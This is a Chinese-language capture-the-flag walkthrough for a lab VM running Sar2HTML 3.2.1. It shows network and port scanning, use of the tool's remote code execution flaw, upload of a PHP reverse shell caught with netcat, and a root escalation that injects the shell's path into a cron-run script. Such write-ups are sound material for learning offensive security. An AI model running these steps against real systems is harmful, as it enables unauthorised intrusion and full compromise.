Kali虚拟机的ip地址:192.168.183.129
虚拟机网络连接模式依然都是NAT模式,为了避免扫描到其他物理主机。
- 信息收集:
1.1扫描靶机的ip地址
netdiscover -r 192.168.183.0/24 #扫描靶机的ip地址
发现靶机的ip地址为192.168.183.130,然后用masscan对靶机进行详细地端口扫描。
1.2端口扫描:
masscan -p 1-65535 192.168.183.130 --rate=1000 #对靶机进行端口扫描
这里我们可以发现靶机只有一个80(http)端口开着。
1.3对80端口进行目录枚举
dirb http://192.168.183.130:80
我们可以对扫码出来的目录依次进行访问
- web渗透
2.1对扫描出来的目录在web浏览器上进行访问
http://192.168.183.130:80
http://192.168.183.130:80/phpinfo.php
robots.txt一般保存一些关键目录,防止搜索引擎的爬虫爬取这些目录。所以访问这个文件或许会发现新的目录或文件。
2.2http://192.168.183.130/ robots.txt
2.3发现了一个目录,继续访问这个目录。
192.168.183.130/ sar2HTML
发现sar2HTML的版本号,在浏览器上搜索,可以发现它的远程代码执行漏洞,该靶机上sar2HTML的版本刚好是3.2.1,可以利用该漏洞建立反弹shell。
- 获取shell
3.1查看远程命令执行漏洞,对漏洞进行利用
3.2上传php反弹shell
编写一个php反弹shell木马
Ip改为kali的ip地址,设置端口8080
3.3将编写的木马文件上传到浏览器中
上传成功。
3.4在kali里面设置监听
nc -lnvp 8080 #8080就是刚才设置的端口
192.168.183.130/sar2HTML/sarDATA/uPLOAD/wei.php访问这个ip地址
反弹shell成功。
4.提权
拿到shell后首先尝试了suid提权,内核提权,但是没有成功!
id #查看登陆id
cd /var/www/html #切换到cd /var/www/html目录
ls #查看该目录下的文件
cat finally.sh #查看cat finally.sh文件
cat write.sh #查看cat write.sh文件
4.1发现有一条使用sudo执行的脚本,尝试使用计划任务提权 cat /etc/crontab
cat /etc/crontab
查看执行的文件发现内部又利用bin/bash执行了目录下另一个文件
4.2监听本地8080端口,将phpshell的路径写入到write.sh文件,让其执行时调用执行
echo “php /var/www/html/sar2HTML/sarDATA/uPLOAD/shell.php” >> write.sh
4.3设置监听
nc -lnvp 8080 #等待靶机反弹一个具有root权限的shell即可。
id
cd /root #切换到root目录
cat root.txt #访问root.txt文件获得flag
成功获得flag